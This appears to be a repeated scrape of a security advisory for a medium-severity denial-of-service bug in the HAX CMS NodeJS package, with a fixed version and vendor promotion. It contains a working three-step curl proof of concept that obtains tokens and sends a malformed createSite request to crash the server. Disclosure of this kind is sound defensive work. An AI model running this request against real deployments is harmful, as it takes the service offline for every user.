### Summary The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. ### Details The `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens. The crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`. As a result: - the request reaches privileged code inside `createSite` - the server hits the remote file handling path - the process crashes before `downloadAndSaveFile()` performs the outbound request - no imported file is written into the site directory ### Affected Resources - src/routes/createSite.js:176 - src/lib/HAXCMSFile.js:25 - system/api/createSite ### PoC 1. Obtain a JWT by logging in with valid credentials. ```bash JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4) ``` 2. Extract the required tokens from the `connectionSettings` endpoint. ```bash SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings') ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4) USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2) ``` 3. Send the malformed request to crash the server. ```bash curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \ -H 'Content-Type: application/json' \ -d "{ \"token\": \"$ROOT_TOKEN\", \"site\": { \"name\": \"dos-poc\" }, \"theme\": {}, \"build\": { \"structure\": \"import\", \"type\": \"import\", \"items\": [], \"files\": { \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\" } } }" ``` <img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" /> The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed. <img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" /> ### Impact An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.
### Summary The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. ### Details The `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens. The crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`. As a result: - the request reaches privileged code inside `createSite` - the server hits the remote file handling path - the process crashes before `downloadAndSaveFile()` performs the outbound request - no imported file is written into the site directory ### Affected Resources - src/routes/createSite.js:176 - src/lib/HAXCMSFile.js:25 - system/api/createSite ### PoC 1. Obtain a JWT by logging in with valid credentials. ```bash JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4) ``` 2. Extract the required tokens from the `connectionSettings` endpoint. ```bash SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings') ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4) USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2) ``` 3. Send the malformed request to crash the server. ```bash curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \ -H 'Content-Type: application/json' \ -d "{ \"token\": \"$ROOT_TOKEN\", \"site\": { \"name\": \"dos-poc\" }, \"theme\": {}, \"build\": { \"structure\": \"import\", \"type\": \"import\", \"items\": [], \"files\": { \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\" } } }" ``` <img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" /> The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed. <img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" /> ### Impact An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.
Update @haxtheweb/haxcms-nodejs to 26.0.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanHAX CMS: Denial of Service using Malicious Import Request affects @haxtheweb/haxcms-nodejs (npm). Severity is medium. ### Summary The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. ### Details The `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens. The crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`. As a result: - the request reaches privileged code inside `createSite` - the server hits the remote file handling path - the process crashes before `downloadAndSaveFile()` performs the outbound request - no imported file is written into the site directory ### Affected Resources - src/routes/createSite.js:176 - src/lib/HAXCMSFile.js:25 - system/api/createSite ### PoC 1. Obtain a JWT by logging in with valid credentials. ```bash JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4) ``` 2. Extract the required tokens from the `connectionSettings` endpoint. ```bash SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings') ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4) USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2) ``` 3. Send the malformed request to crash the server. ```bash curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \ -H 'Content-Type: application/json' \ -d "{ \"token\": \"$ROOT_TOKEN\", \"site\": { \"name\": \"dos-poc\" }, \"theme\": {}, \"build\": { \"structure\": \"import\", \"type\": \"import\", \"items\": [], \"files\": { \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\" } } }" ``` <img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" /> The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed. <img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" /> ### Impact An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.
AI coding agents often install or upgrade packages automatically in npm. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @haxtheweb/haxcms-nodejsnpm | <26.0.0 | 26.0.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate @haxtheweb/haxcms-nodejs to 26.0.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanHAX CMS: Denial of Service using Malicious Import Request affects @haxtheweb/haxcms-nodejs (npm). Severity is medium. ### Summary The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. ### Details The `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens. The crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`. As a result: - the request reaches privileged code inside `createSite` - the server hits the remote file handling path - the process crashes before `downloadAndSaveFile()` performs the outbound request - no imported file is written into the site directory ### Affected Resources - src/routes/createSite.js:176 - src/lib/HAXCMSFile.js:25 - system/api/createSite ### PoC 1. Obtain a JWT by logging in with valid credentials. ```bash JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4) ``` 2. Extract the required tokens from the `connectionSettings` endpoint. ```bash SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings') ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4) USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2) ``` 3. Send the malformed request to crash the server. ```bash curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \ -H 'Content-Type: application/json' \ -d "{ \"token\": \"$ROOT_TOKEN\", \"site\": { \"name\": \"dos-poc\" }, \"theme\": {}, \"build\": { \"structure\": \"import\", \"type\": \"import\", \"items\": [], \"files\": { \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\" } } }" ``` <img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" /> The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed. <img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" /> ### Impact An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.
AI coding agents often install or upgrade packages automatically in npm. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @haxtheweb/haxcms-nodejsnpm | <26.0.0 | 26.0.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard